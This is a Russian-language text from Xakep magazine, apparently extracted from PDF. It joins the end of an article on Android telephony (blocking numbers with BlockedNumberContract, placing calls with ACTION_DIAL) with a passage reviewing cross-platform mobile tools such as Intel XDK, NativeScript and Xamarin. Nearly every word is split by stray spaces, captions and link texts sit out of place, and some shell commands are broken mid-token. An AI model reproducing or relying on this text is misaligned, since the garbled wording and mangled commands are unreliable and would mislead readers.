К  рас смат рива емо му  воп росу  мож но  отнести
задачу  вывода  информа ции  поверх  активнос ти
вхо дяще го звон ка (как вари ант — пол ная визу аль ‐
ная  замена  окна  для  мас киров ки),  но  из  сооб ‐
ражений безопас ности Android не поз воля ет соз ‐
давать  собс твен ные  активнос ти  для  этих  целей.
Тем  не  менее  это  не  рас простра няет ся  на  сис ‐
темные окна. Любопыт ная   по теме.статья

Как показы вает прак тика, мно гие «хаки», неп лохо фун кци они рующие на одних
устрой ствах,  на  дру гих  в  луч шем  слу чае  не  работа ют,  а  в  худ шем —  рушат
при ложе ние во вре мя вхо дяще го  звон ка. Соот ветс твен но, оцен ки подоб ных
при ложе ний  ска чут  от  еди ницы  («Ничего  не  работа ет,  вер ните  день ги!»)
до пяти («Поль зуюсь уже двад цать лет, все устра ивает!»).

Так работа ет или нет?

На  этом  мож но  было  бы  пос тавить  жир ную  точ ку,  если  бы  вне зап но  «кор ‐
порация доб ра» не сде лала ход сло ном.

ЛИПКИЙ СПИСОК GOOGLE
В  Android  7.0  Nougat  (API  24)  появил ся  класс   —  тот
самый чер ный спи сок, но уже не в виде ком понен та про шив ки смар тфо на, а в
качес тве пол ноцен ного объ екта ОС. Все звон ки (а так же СМС и элек трон ные
пись ма)  от  отпра вите лей  из  это го  спис ка  будут  авто мати чес ки  откло нены
сис темой.

BlockedNumberContract

BlockedNumberContract пред став ляет собой стан дар тный кон тент‐про вай ‐
дер,  работать  с  которым могут,  во‐пер вых,  сис темные  при ложе ния,  во‐вто ‐
рых, при ложе ния для СМС и телефо нии, задан ные как при ложе ния по умол ‐
чанию (Default App). Свой ство «по умол чанию» дол жен уста новить сам поль ‐
зователь — это одна из парадигм безопас ности Android начиная с вер сии 4.4.
Для  телефо нии  ука зан ное  свой ство  наделя ет  код  пра вом  не  толь ко  обра ‐
баты вать  вхо дящие  и  исхо дящие  звон ки,  но  и  изме нять  базу  дан ных  (нап ‐
ример, уда лять отдель ные звон ки из логов). Поэто му, кста ти, сто ит очень нас ‐
торожен но  отно сить ся  к  тем  при ложе ниям,  даже  из  Google  Play,  которые
пыта ются получить флаг «по умол чанию» и при этом име ют неог раничен ный
дос туп в интернет, — веро ятность сли ва информа ции весь ма высока.

INFO

Бо лее  под робную  информа цию  о  при ложе ниях
«по  умол чанию»  мож но  почер пнуть  из 

.
этой

статьи

Ра бота  с BlockedNumberContract  напоми нает  вза имо дей ствие  с  базой  дан ‐
ных:  исполь зуют ся  узна ваемые  методы  встав ки,  уда ления  и,  разуме ется,
выбор ки записей.

  —  раз деля емое  пос тоян ное  хра нили ще  (как
пра вило,  база дан ных SQLite),  которое  содер жит  информа цию,
отно сящу юся к при ложе нию, и управля ет ею. Пред почти тель ный
спо соб обме на дан ными меж ду раз личны ми прог рамма ми.

Кон тент‑про вай дер

Что бы забанить номер телефо на, вызыва ем стан дар тный метод 
:

getContent‐
Resolver().insert

ContentValues values = new ContentValues();
values.put(BlockedNumbers.COLUMN_ORIGINAL_NUMBER, "1234567890");
Uri uri = getContentResolver().insert(BlockedNumbers.CONTENT_URI, 
values);

Нес мотря на наз вание, стол бик   может содер жать
не толь ко номер телефо на, но и элек трон ный адрес:

COLUMN_ORIGINAL_NUMBER

values.put(BlockedNumbers.COLUMN_ORIGINAL_NUMBER, "12345@abdcde.com")
;

Уда лить номер из бана так же прос то:

ContentValues values = new ContentValues();
values.put(BlockedNumbers.COLUMN_ORIGINAL_NUMBER, "1234567890");
Uri uri = getContentResolver().insert(BlockedNumbers.CONTENT_URI, 
values);
getContentResolver().delete(uri, null, null);

Для про вер ки, не вне сен ли номер в чер ный спи сок, пре дус мотрен метод 
.

is‐
Blocked(Context, String)

На конец, что бы получить всех отвер гну тых одним махом:

Cursor c = getContentResolver().query(BlockedNumbers.CONTENT_URI,
    new String[]{BlockedNumbers.COLUMN_ID, BlockedNumbers.COLUMN
_ORIGINAL_NUMBER,
    BlockedNumbers.COLUMN_E164_NUMBER}, null, null, null);

Та ким  обра зом,  рас смот ренные  в  пре дыду щем  раз деле  трю ки  пос тепен но
сой дут на нет. Дру гой воп рос,  как быс тро это слу чит ся. Доля Android 7 пока
не пре выша ет даже инже нер ной пог решнос ти.

Фраг мента ция Android (март 2017 года)

ПЕРЕЗВАНИВАЕМ
Поз вонить  в  Android’е  мож но  дву мя  прин ципи аль но  раз ными  спо соба ми.
Пер вый,  и  самый  прос той, —  выз вать  стан дар тную  активность,  передав  ей
в качес тве парамет ра номер для набора:

Intent call = new Intent(Intent.ACTION_DIAL, Uri.parse("tel:
8495‐123‐45‐56"));
startActivity(call);

Здесь исполь зует ся ини циирующее зво нок намере ние  ,
а номер переда ется в виде пути URI с обя затель ным ука зани ем про токо ла tel.
На  экра не  смар тфо на  поль зователь  уви дит  при выч ное  окно  с  заведен ным
номером.

Intent.ACTION_DIAL

Стан дар тная «зво нил ка»

Стан дар тная активность для доз вона раз реша ет изме нить номер непос редс ‐
твен но перед выпол нени ем звон ка, поэто му никаких раз решений в манифес ‐
те при ложе ния не тре бует ся.

Вто рой вари ант — перех ват намере ний, которые обслу жива ются стан дар ‐
тным  при ложе нием,  и  вызов  сво ей  активнос ти.  В  этом  слу чае  отри сов ка
экранных  циф ровых  кно пок  и  поиск  по  кон тактам  (и  это  далеко  не  пол ный
перечень) ложит ся на пле чи прог раммис та.

Кро ме того, пос коль ку в этом слу чае тре бует ся раз решение:

<uses‐permission android:name="android.permission.CALL_PHONE"/>

на чиная  с  Android  4.4  при ложе ние  отка жет ся  работать,  если  оно  не  будет
выб рано по умол чанию, а поль зователь вряд ли прос то так сме нит зна комую
«зво нил ку».

Skype ненавяз чиво пыта ется стать телефо ном

Как  видишь,  Google  неп лохо  защити ла  свой  телефон ный  ком понент,  и  вре ‐
доно сов,  скрыт но  зво нящих  на  корот кие  плат ные  номера,  в  при роде  (пока
еще?) не наб люда ется.

Ода манифес ту
Ес ли ты вни матель но чита ешь руб рику «Кодинг», то навер няка заметил, что то
или  иное  потен циаль но  опас ное  дей ствие  в  Android  тре бует  однознач ного
раз решения.  Нес мотря  на  име ющиеся  уяз вимос ти  (ког да  в  пос ледний  раз
к тебе при лета ли пат чи?) в раз ных ком понен тах сис темы, в целом основным
рас садни ком  проб лем  ока зыва ется  сам  поль зователь.  Разуме ется,  если  ты
заин тересу ешь ЦРУ, никакой  ,
но в обыч ной жиз ни необ ходимо край не нас торожен но отно сить ся ко все му
уста нав лива емо му  ПО,  даже  если  оно  родом  из  Google  Play.  Как  дума ешь,
сто ит ли ста вить себе каль кулятор, если он тре бует дос тупа в интернет и воз ‐
можнос ти отправ лять СМС?

зап рет раз решений при ложе ний тебя не спа сет

ЗАКЛЮЧЕНИЕ
Се год ня мы поз накоми лись с одним из  глав ных  ком понен тов сов ремен ного
смар тфо на — телефо нией (хотя, воз можно, у интернет‐мес сен дже ров дру гое
мне ние на этот счет). Как обыч но, не все работа ет так, как хотелось бы, и свет
в  велоси пед ной  мас тер ской  еще  дол го  не  погас нет,  но  такая  уж  у  прог ‐
раммис тов судь ба. В любом слу чае «Хакер» будет дер жать тебя в кур се.

mailto:mail@s-melnikov.net
https://xakep.ru/2015/08/20/android-hidden-cam/
https://xakep.ru/2015/12/03/android-spy/
https://xakep.ru/2015/09/01/hidden-sms-android/
https://xakep.ru/issues/xa/194/
http://stackoverflow.com/a/9462119
https://habrahabr.ru/company/skbkontur/blog/243063/
https://developer.android.com/reference/android/provider/BlockedNumberContract.html
https://xakep.ru/2015/09/01/hidden-sms-android/
https://xakep.ru/2017/03/07/vault-7/
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КОДИНГ

В  пре дыду щей  статье  мы  рас смот рели  Silo‐под ход  к  раз ‐
работ ке мобиль ных при ложе ний, инс тру мен ты и спо собы их
исполь зования,  а  так же  часть  самых  популяр ных  black  box
средств  раз работ ки:  сре ды  Apache  Cordova  и  Adobe  Fuse.
На прош лом эта пе лидером по охва ту плат форм ста ла Cor‐
dova, по удобс тву исполь зования — Fuse. В этой статье мы
про дол жим  изу чать  «чер ный  ящик»  и  рас смот рим  еще  нес ‐
коль ко  популяр ных  средств  раз работ ки,  а  затем  перей дем
к  зак лючитель ной  теме  —  кросс‐плат формен ному  под ходу
(cross‐platform).

Для  начала  напом ню  основную  идею  это го  мини‐цик ла  ста тей  (кста ти, 
). Мы замети ли,  что в свя зи со сни жени ем порога вхож дения в прог ‐

рамми рова ние  и  пос тоян ным  рос том  сег мента мобиль ного ПО  все  боль ше
начина ющих  кодеров  стре мят ся  испы тать  себя  в  этом  нап равле нии.  Что бы
помочь им опре делить ся с инс тру мен тари ем, мы решили сде лать раз верну ‐
тый  ману ал:  рас смот реть  все  дос тупные  средс тва  раз работ ки,  на  каж дом
из опи сан ных средств реали зовать мини‐при мер и оце нить, нас коль ко удоб ‐
но  это дела ется,  какого раз мера получа ется файл,  а  заод но изме рить быс ‐
тро дей ствие  и  крат ко  обоз реть  сопутс тву ющую  инфраструк туру,  которая
облегчит тебе работу, — офи циаль ные доки и неофи циаль ные матери алы.

вот
пер вая

У меня новая книж ка!
В  изда тель стве  « »  выш ло  вто рое,  перера ботан ное  и  допол ‐
ненное  изда ние  моей  кни ги  о  раз работ ке  дву мер ных  игр  для  нас толь ных
и мобиль ных плат форм с помощью муль тип латфор менно го движ ка Torque 2D.
Матери ал  кни ги  зна читель но  обновлен  по  срав нению  с  пер вым  изда нием,
даны  отве ты  на  самые  час тые  воп росы,  которые  я  получил  от  читате лей
на  . Как  всег да,  под робную инфу о моих  кни гах  ты можешь най ти
на  , там же ты можешь ска чать допол нитель ный кон тент и почитать
статьи про GameDev.

СО ЛОН‐Пресс

свое мыло
мо ем сай те

BLACK BOX
Intel XDK
Еще одна популяр ная тул за, отно сяща яся к катего рии black box, ком пании In‐
tel.  Пос ледняя  дос таточ но  активно  пиарит  свой  про дукт.  По  сути,  он  пред ‐
став ляет  собой  надс трой ку  над  Cordova,  так  как  имен но  она  исполь зует ся
для  ком пиляции  выпус каемых  при ложе ний.  Рас простра няет ся  бес плат но.
Как  и  пра роди тель,  XDK  (Cross‐Platform  Development  Tools)  мож но  исполь ‐
зовать на Windows, Linux, macOS.

Я  нач ну  с  Windows  10.    инстал лятор.  Уста нов ка  в  ком мента риях
не нуж дает ся :). При пер вом запус ке XDK пред ложит тебе вой ти в свой акка ‐
унт на сер вере Intel. Пос ле выпол нения этой опе рации будет откры то глав ное
окно  XDK.  Сде лаем  наше  минималь ное  при ложе ние,  которое  мы  соз даем,
тес тируя  каж дый  инс тру мент.  Напом ню:  оно  сос тоит  из  фор мы,  на  которой
рас положе ны над пись и кноп ка.

Ска чай

Ус танов ка XDK

В левой час ти окна XDK находит ся спи сок загото вок для про ектов, раз делен ‐
ный  на  две  час ти:  вер хняя  Internet  of  things  embedded  application  и  ниж няя
HTML 5  companion  hybrid  mobile  or  web  app.  Соот ветс твен но,  в  пер вой
находят ся заготов ки и при меры готовых про ектов для интерне та вещей, а во
вто рой — для веба и мобиль ных про ектов.

Как  я  уже  говорил,  XDK  —  надс трой ка  над  Cordova,  но  допол нитель но
к это му был добав лен Node.js, в резуль тате чего ста ло воз можно раз рабаты ‐
вать IoT‐при ложе ния. В XDK име ется боль шое количес тво при меров и загото ‐
вок пос ледних. Сре ди сем плов есть весь ма любопыт ные экзем пля ры: 

 (чем любопыт на эта сис тема? Или уро вень инте ‐
реса  зависит  от  того,  какие  рас тения  выращи вать?  ;)  —  Прим.  ред.)

.
Сре ди  тем плей тов  при сутс тву ют  ана лого вое  чте ние/запись,  циф ровое  чте ‐
ние/запись, чте ние /запись в COM‐порт, web‐сокеты, заготов ки при ложе ний
умно го дома и так далее.

по жар -

ная  тре вога,  детек тор  зем летря сения,  управле ние  рукой  робота,  сис -

тема осве щения рас тений

,  зву -

ковой детек тор, сис тема кон тро ля дос тупа, будиль ник, двер ной зво нок

Во вто ром свит ке находят ся заготов ки и сем плы для web и mobile. У раз ‐
работ чика есть выбор: либо стан дар тный HTML 5, либо HTML 5 с под дер жкой
Cordova.  Пер вый  весь ма  огра ничен  в  фун кци ональ нос ти,  пре дос тавляя  API
бра узер ного  JavaScript,  а  вто рой рас ширен пла гина ми Cordova,  пред назна ‐
чен ными  для  работы  с  ком понен тами  мобиль ных  устрой ств  (ком пас,  GPS,
аксе леро метр, раз ные дат чики).

Сем плы XDK

Соз дадим  про ект  для мобиль ных  плат форм. Сре ди  тем плей тов мож но  выб ‐
рать или Blank (пус тое при ложе ние), или Layout and User  Interface с заготов ‐
ленны ми  гра фичес кими  ком понен тами.  В  чис ле  сем плов  есть  впол не  юза ‐
бель ные при мер чики:

ска нер штрих‐кода;•
ге оло кация;•
ауди опле ер;•
ви деоп леер;•
за пись аудио/видео;•
зах ват изоб ражения.•

На пер воначаль ном экра не: 
→   →   → .  Для  соз дания  сов мести мого
про екта  (для  воз можнос ти  исполь зовать  визу аль ный  редак тор)  надо  пос ‐
тавить  галоч ку  Use  App  Designer.  Далее  Continue.  На  сле дующем шаге  XDK
пред ложит задать каталог для про екта. Пос ле чего запус тит про цеду ру под ‐
готов ки про екта: ска чива ние и соз дание кон тента.

HTML5 Companion Hybrid Mobile or Web App
Templates Blank HTML5  +  Cordova

Пос ле  успешно го  соз дания  заготов ки  будет  пред ложено  выб рать
веб‐фрей мворк.  По  умол чанию  выб ран  Twitter  Bootstrap  v3.  Пос ле  выбора
откро ется пос тро итель макета. Для перек лючения меж ду гра фичес ким редак ‐
тором  и  редак тором  кода  надо  вос поль зовать ся  кноп ками  Code  и  Design,
рас положен ными в левой вер хней час ти интерфей са при ложе ния. Окно раз ‐
делено на шесть час тей: в вер хней рас полага ются вклад ки (о них далее), сле ‐
ва — спи сок фай лов про екта, чуть пра вее — панель ком понен тов, в середи не
окна — область отоб ражения макета, в пра вой час ти — спи сок свой ств выб ‐
ранно го эле мен та, в ниж ней час ти выводит ся соот ветс тву ющий соз дава емо ‐
му эле мен ту HTML‐код.

Раз метка XDK

Пос ле  соз дания  при ложе ния  у  тебя  появ ляет ся  дос туп  к  пяти  вклад кам,
на  каж дой  из  которых  выпол няет ся  опре делен ное  дей ствие  с  про ектом.
На  вклад ке  Develop  ведет ся  собс твен но  раз работ ка  про екта:  код  пишет ся
во встро енном HTML 5‐редак торе   (но прог раммист может вос поль ‐
зовать ся любым дру гим по сво ему пред почте нию), интерфейс в сов мести мых
про ектах (соз данных в XDK с уста нов ленной галоч кой Use App Designer) мож ‐
но  модифи циро вать  методом  drag  and  drop,  перетас кивая  эле мен ты  поль ‐
зователь ско го  интерфей са.  На  вклад ке  Simulate  мож но  по‐быс тро му  прос ‐
мотреть,  как  выг лядит  раз рабаты ваемое  при ложе ние  на  боль шом  наборе
раз ных  вир туаль ных  девай сов.  Вклад ка  Test  слу жит  для  раз верты вания  при ‐
ложе ния  на  сер вере  тес тирова ния  (для  отладки  без  USB‐кабеля,  по  Wi‐Fi).
Вклад ка Build поз воля ет пос тро ить и выпус тить при ложе ние для все го спек ‐
тра  под держи ваемых  устрой ств:  iOS,  Android,  Windows  Phone,  Windows  10
UAP, BlackBerry и  так далее. С помощью вклад ки Publish мож но под готовить
информа цию и изоб ражения для пуб ликации при ложе ния в раз ных сто рах.

Brackets

Из груп пы Common перене си на макет ком понент Text. Отоб разит ся новая
вклад ка  с  мини‐редак тором  для  задания  над писи  и  ее  свой ств.  Пос ле  вне ‐
сения нас тро ек не забудь перек лючить ся на зак ладку body. Теперь из груп пы
BUTTONS  помес ти  ком понент  Button.  В  спис ке  свой ств  мож но  изме нить
отсту пы. Одна ко,  что бы изме нить  над пись на  кноп ке  на Click:  0,  я  не нашел
ничего луч ше, чем перек лючить ся в HTML‐раз метку и поп равить ее нап рямую.
Далее нуж но соз дать событие «нажатие кноп ки». Открой HTML‐код, прок рути
файл вниз до тега button, задай для кноп ки иден тифика тор:  . Ниже
пос ле зак рытия тега   добавь фун кцию

id="but"
body:

<script>
    var i = 0
    document.getElementById('but').onclick = function(){
        document.getElementById('but').textContent="Click: " + ++i
    }
</script>

На  этом  кодиро вание  завер шено.  Для  тес тирова ния  при ложе ния  перек ‐
лючись  на  зак ладку    из  пер вого  нис пада юще го  спис ка  выбери
жела емую  опе раци онку,  из  вто рого —  устрой ство,  для  запус ка  симуля тора
жми кноп ку с тре уголь ником. В резуль тате запус тится XDK Simulator, где мож ‐
но про верить щел чок на кноп ке.

Simulate:

XDK Simulator

Для пос тро ения про екта перей ди на зак ладку Build. Сна чала соз дадим билд
для Android. Что бы не отвле кать ся, оста вим все изоб ражения по умол чанию.
При пер вом запус ке име ются траб лы, из‐за чего про ект нель зя сра зу пос тро ‐
ить. В области Cordova Hybrid Mobile App Platform щел кни по пря моуголь нику
со знач ком дро ида. Для Android‐про екта надо задать сер тификат раз работ ‐
чика. Щел кни плюс рядом с над писью Add Android certificate  to your account.
Появит ся  окно  соз дания  сер тифика та.  Запол ни  его  кор рек тны ми  дан ными.
Жми Save. Запус тится про цесс соз дания сер тифика та. Пос ле чего в нис пада ‐
ющем  спис ке  Developer  Certificate  мож но  будет  выб рать  соз данный  сер ‐
тификат. Воз вра щаем ся на вклад ку Build, билд для Android помечен зеленой
галоч кой.  Что бы  нас тро ить  пос тро ение  UAP,  надо  ввес ти  Windows  Publisher
Key  и  Publisher  Display Name. Пос ле  это го мож но  перехо дить  к  пос тро ению
пока двух про ектов, iOS‐при ложе ние при дет ся стро ить на маке.

На ше зак лючение
Билд для Android в моем слу чае получил ся 220 Кбайт (мень ше, чем под Cor‐
dova).  XDK  гораз до  удоб нее  Cordova  бла года ря  наличию  интегри рован ных
инс тру мен тов: редак тора кода, пос тро ите ля форм, встро енно го симуля тора,
инс тру мен тов для пос тро ения и раз верты вания. Боль шое количес тво качес ‐
твен ной докумен тации и обу чающих матери алов на сай те   поз воля ет дос ‐
таточ но быс тро осво ить ся с инс тру мен тами раз работ ки.
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NativeScript
Фрей мворк  с  откры тым  исходным  кодом  NativeScript  появил ся  в  2014  году.
Подоб но Cordova, он слу жит для муль тип латфор менной раз работ ки при ложе ‐
ний,  но  пока  толь ко  под две  плат формы:  iOS и Android.  Как  и Cordova,  поз ‐
воля ет  вос поль зовать ся  навыка ми  web‐кодин га,  при меняя  плат формо неза ‐
виси мые  язы ки  JavaScript,  TypeScript  для  прог рамми рова ния  биз нес‐логики
и Angular для пос тро ения поль зователь ско го интерфей са.

NativeScript для macOS
Сна чала ста вим Node.js (про верить мож но коман дой  ), затем
NativeScript  CLI  от  лица  адми нис тра тора: 

.  Далее  пос леду ет  ска чива ние  и  уста нов ка  пакетов.  На  появ ‐
ляющиеся  два  воп роса  ответь  отри цатель но.  Пос ле  завер шения  уста нов ки
про верь  NS  CLI,  вве дя  .  Появит ся  воп рос  об  отправ лении  ста тис тики,
ответь по желанию. Для соз дания iOS‐про екта исполь зуй те же коман ды, что
во вре мя соз дания Android‐про екта. Одна ко запус кай пер вый коман дой 

.

node –version
sudo  npm  install  ‐g  nat‐

ivescript

tns

tns
run ios

В  отли чие  от  Cordova  NativeScript  исполь зует  на  100%  натив ные  API
для  работы  с  аппа рат ным  обес печени ем  девай са,  которые  пос тавля ются
непос редс твен но в сос таве инс тру мен тария, кро ме того, их мож но попол нить
из  ресур сов  Cocoapods,  Android  Arsenal  и  с  помощью менед жера  про ектов
npm. При раз работ ке с помощью Cordova на выходе получа ется при ложе ние,
работа ющее  в  сре де  веб‐бра узе ра;  с  дру гой  сто роны,  NativeScript  соз дает
пол ностью натив ные при ложе ния, с род ными для кон крет ной плат формы эле ‐
мен тами UI.

Пе рей дем  к  прак тике.  Что бы  уста новить  NS  в  Windows,  мож но  вос поль ‐
зовать ся инстал лятором. Его мож но ска чать с  .этой стра ницы

Ус танов ка NS

Он попыта ется обна ружить необ ходимое ПО. Для работы NS нуж ны: 
.  Все  эти  при бам басы  дол жны  иметь  ука зыва ющие

на  них  перемен ные  окру жения.  Если  что‐то  не  уста нов лено  или  не  ука зано,
инстал лятор NS на это пожалу ется. Ког да все зависи мос ти будут нас тро ены,
ста нет активна кноп ка Install и мож но будет начать уста нов ку. Заметь, инстал ‐
лятор надо запус кать от адми нис тра тора. Если он пос тоян но вылета ет, при ‐
мени  менед жер  пакетов  ,  как  написа но  на  .  Им  удоб но
вос поль зовать ся,  если  на  ком пе  не  уста нов лены  никакие  вспо мога тель ные
тул зы,  перечис ленные  выше,  в  ином  слу чае  быс трее  нас тро ить  вруч ную,
нежели ста вить вто рой раз.

JDK 1.8,

Node.js  6,  Android  SDK

Chocolatey стра нице

Ра бота  с  NativeScript,  как  и  с  Cordova,  про исхо дит  в  коман дной  стро ке,
поэто му открой кон соль и для про вер ки вве ди  . Если NS кор рек тно уста ‐
нов лена, будет выведе на справ ка по всем коман дам.

tns

Те перь  зай мем ся  про ектом  (не  забудь  перемес тить ся  в  целевую  пап ку
NS‐про ектов). Что бы соз дать про ект на осно ве заготов ки, вве ди

tns create HelloWorld ‐‐template nativescript‐template‐tutorial

Бу дут докача ны необ ходимые фай лы, и появит ся новый про ект. Зай ди внутрь
катало га:    и  выпол ни  коман ду    (натив ный
симуля тор исполь зует  , поэто му не забудь вык лючить Hyper‐V). В ито ге,
если  Android  SDK  уста нов лен  вер но  и  соз дан  хотя  бы  один  симуля тор,  он
запус тится на выпол нение и в него будет заг ружено подопыт ное при ложе ние.

cd  HelloWorld tns  run  Android
HAXM

Adobe Flash Builder
Этот инс тру мент  тоже мож но отнести к black box, но их  уже и  так ока залось
слиш ком мно го, поэто му я решил не говорить про него. Лишь отме чу, что соз ‐
данные в нем при ложе ния исполня ются в сре де Air, так же име ют дос туп к ком ‐
понен там мобиль ного девай са. Flash выходит из моды не толь ко в бра узе ре,
но и в мобай ле. Лет семь назад Flash широко исполь зовал ся для раз работ ки
мобиль ных  игр,  но  его  вре мя  прош ло.  Теперь  это  ухо дящий  поезд,  и,
по‐моему, торопить ся на него уже нет смыс ла.

На ше зак лючение
Под ведем  ито ги.  Раз мер  пос тро енно го  при ложе ния  для  Android  получил ‐
ся 11,6 Мбайт, для iOS — 33,8 Мбайт; велико вато в обо их слу чаях. Ско рость
выпол нения  про тес тировать  не  уда лось,  охват  средств  под держи ваемых
плат форм  по  опре деле нию  непол ный.  Как  и  Cordova,  исполь зовать  Native‐
Script из коман дной стро ки уто митель но. Я пред почитаю IDE коман дной стро ‐
ке, лич но мне так удоб нее прог рамми ровать. Докумен тация на офи циаль ном
сай те доволь но под робная, а видео на YouTube вызыва ет улыб ку и, по‐моему,
не годит ся в качес тве обу чающе го матери ала. Если NS будет нас толь ко крут,
как о нем говорят, и удоб нее, чем сей час, то тул за ста нет инте рес нее. Пока —
нет, минус.

Ис поль зование  интегри рован ных  средств  раз работ ки  удоб но  тем,  что  «все
вклю чено» в один инс тру мент и прог раммис ту не надо перехо дить из одной
прог раммы/редак тора в дру гую, что бы вес ти раз работ ку.

CROSS-PLATFORM
Xamarin
Че рез  некото рое  вре мя  пос ле  выхода  в  свет    Microsoft
при обре ла Xamarin. В пос леду ющие сер вис‐паки сту дии MS ста ла  внед рять
его  под дер жку,  но  получа лось  это  кри вова то:  то  про екты  соз давались
с ошиб ками, то не соз давались сов сем, то воз никали проб лемы с раз меткой
или при ком пиляции — короче, косяков было пре дос таточ но. Нап ример, в 4‐
м  сер вис‐паке  была  проб лема  с  соз дани ем  Android‐про екта,  которая
решалась заменой и добав лени ем ком понен тов.

Visual  Studio  2015

Я  пишу  эти  стро ки  бук валь но  через  неделю  пос ле  выхода 
,  поэто му  все  ска зан ное  про  мобиль ные  муль тип латфор менные  при ‐

ложе ния будет акту аль но для этой вер сии.

Visual  Studio

2017

В осно ве  Xamarin  лежит откры тая  сре да Mono,  реали зован ная  на  подав ‐
ляющем  боль шинс тве  все воз можных  прог рам мно‐аппа рат ных  плат форм.
Раз работ ка  ведет ся  с  исполь зовани ем  управля емых  язы ков  C#/F#.  Даль ‐
нейшие  дей ствия  зависят  от  плат формы.  В  слу чае  iOS  про исхо дит  ком ‐
пиляция в машин ные инс трук ции, тог да как в слу чае с Android — тран сля ция
в про межу точ ный байт‐код и запаков ка уре зан ного экзем пля ра Mono в при ‐
ложе ние. При пос леду ющем запус ке это го при ложе ния на Android‐устрой стве
экзем пляр Mono пре обра зует байт‐код в инс трук ции, понят ные вир туаль ной
машине   (ранее Dalvik), лежащей в осно ве ОС Android.ART

iOS-при ложе ния на C# из‑под Windows
В рам ках Visual Studio 2017 (вмес те с Xamarin) мож но раз рабаты вать iOS‐при ‐
ложе ния на C# из‐под Windows, мож но писать логику и модели ровать макет,
одна ко, ког да дело доходит до тес тирова ния и отладки, в любом слу чае при ‐
дет ся вос поль зовать ся маком. Что бы, не отхо дя от Windows PC, пря мо из VS
запус кать  и  отла живать  через Wi‐Fi  при ложе ния  на  маке,  понадо бит ся  под ‐
готов ка. Вызови поиск Spotlight (cmd + space или ctrl + space, в зависи мос ти
от уста нов ленной рас клад ки кла виату ры, у меня Win‐рас клад ка, поэто му вто ‐
рой вари ант), в поле поис ка вве ди «Общий дос туп», ниже в резуль татах поис ‐
ка  выбери  соот ветс тву ющий  пункт.  В  появив шемся  окне  в  спис ке  сле ва
отметь  галоч кой  «Уда лен ный  вход».  Пра вее  в  раз деле  «Раз решить  дос туп»
отметь пункт «Всем поль зовате лям».

Об щий дос туп

За тем  в  Visual  Studio  открой  «Сер вис →  Парамет ры».  В  появив шемся  окне
про мотай  спи сок  вниз  и  раз верни  пункт  Xamarin,  далее  выбери  пункт
«Парамет ры iOS». Спра ва будет кноп ка «Най ти Xamarin Mac Agent», наж ми ее.
Откро ется  мас тер,  на  вто рой  стра нице  которо го  надо  нажать  кноп ку
«Добавить  компь ютер Mac…»  и  ввес ти  IP‐адрес  мака.  Появит ся  окно  авто ‐
риза ции, вве ди туда дан ные маков ско го юзе ра.

Для  пос тро ения  поль зователь ско го  интерфей са  могут  быть  исполь зованы
два под хода: натив ный и кросс‐плат формен ный. При пер вом слу чае для каж ‐
дой  плат формы  при ходит ся  отдель но  готовить  макет  окна  при ложе ния.
Во вто ром слу чае раз рабаты вает ся один макет, который оди нако во, с уче том
осо бен ностей сис темы, отоб ража ется на всех под держи ваемых плат формах.
То есть рен дерит ся натив ными средс тва ми соот ветс тву ющей ОС. Для это го
исполь зует ся  .Xamarin.Forms

Пе рей дем к соз данию нашего прос того учеб ного про екта: «Файл → Соз ‐
дать →  Про ект».  Не  забудь  перед  началом  акти визи ровать  Hyper‐V.  Набор
пре дус танов ленных  шаб лонов  впе чат ляет,  но  нам  нуж на  опре делен ная
заготов ка:  Visual  C#  →  Cross‐Platform.  Будет  пред ложено  сде лать  выбор
в  поль зу  одно го  из  двух  опи сан ных  выше  режимов.  В  этом  же  окне  мож но
выб рать  шаб лон:  «Пус тое  при ложе ние»,  «Основной  вид  и  под робнос ти».
Выберем  пер вое,  так  как  нам  нуж но  минималь ное  при ложе ние,  а  вто рое
вклю чает  нес коль ко  стра ниц,  раз ных  визу аль ных  ком понен тов,  что  нам
не под ходит. В ито ге будет соз дано четыре про екта: общий код, Android, iOS,
UWP.

Соз дание  обще го  кросс‐плат формен ного  интерфей са  воз можно  или  на
XAML, или на C#. Гра фичес кого конс тру иро вания не пре дус мотре но — оче ‐
вид но, из‐за раз личия гра фичес ких ком понен тов. В Visual Studio гра фичес ки
модели ровать мож но толь ко интерфейс для UWP‐при ложе ний. Итак, нам нуж ‐
ны два эле мен та на фор ме: над пись и кноп ка. Вос поль зуем ся язы ком XAML.
В фай ле MainPage.xaml замени соз дание над писи таким кодом:

<StackLayout>
    <Label Text="Hello World!"
        FontSize="Large"
        TextColor="Red"
        HorizontalOptions="Center" />
    <Button x:Name="but"
        HorizontalOptions="Center"
        Text="Click: 0"
        Clicked="OnButtonClicked" />
</StackLayout>

Здесь  соз дает ся  сте ковая  ком понов ка  (объ екты  один  под  дру гим),  над пись
с задани ем вырав нивания положе ния по середи не кон тей нера, боль шой раз ‐
мер шриф та, его цвет и собс твен но тек сто вая мет ка. Затем кноп ка со свой ‐
ства ми: имя, вырав нивание, мет ка, объ явле ние события нажатия.

Пе рей ди  в  файл    и  внут ри  клас са    напиши
в нем обра бот чик нажатия этой кноп ки:

MainPage.xaml.cs MainPage

private void OnButtonClicked(object sender, EventArgs e) {
    (sender as Button).Text = "Click: " + ++num;
}

Не забудь объ явить перемен ную:  .int num = 0;
Все  при ходит ся  набирать  вруч ную,  поэто му  в  пос леднее  вре мя  при хожу

к тому, что для уско рения кодиро вания надо исполь зовать  .Reshaper

Те перь,  делая  соот ветс тву ющий  про ект  активным,  ком пилируй  и  раз ‐
верты вай его на любом под держи ваемом девай се (или эму лято ре). В момент
раз верты вания  при ложе ния  на  мобиль ном  устрой стве  на  него  залива ется
в зависи мос ти от плат формы соот ветс тву ющая сре да выпол нения: Mono An‐
droid, Mono iOS или Mono UWP.

Android emulator

На ше зак лючение
Ито говые раз меры: UWP‐про ект — 18,6 Мбайт, Android‐про ект — 4,53 Мбайт.
Ско рость работы такая же, как у натив ных при ложе ний, плюс пол ное пок рытие
воз можнос тей API (почему? См.  ).пер вую часть статьи

Visual Studio — удоб ная сре да раз работ ки, работать в ней при выч но Win‐
dows‐кодеру.  Visual  Studio  Community  вмес те  с  Xamarin  рас простра няет ся
бес плат но и содер жит боль шую часть воз можнос тей про фес сиональ ной вер ‐
сии. Сре да рас полага ет широчай шей фун кци ональ ностью в пла не мобиль ной
раз работ ки.  Име ет  кучу  докумен тации,  тысячи  при меров,  сот ни  обу чающих
виде окур сов,  как  офи циаль ных  на  канале  Channel  9,  так  и  любитель ских
на YouTube. Пос ледние попада ются весь ма высоко го качес тва. Поэто му изу ‐
чение дан ной тех нологии лишь дело вре мени и тру долю бия.

  —  вто рой  кросс‐плат формен ный  зверь,  поз воля ющий
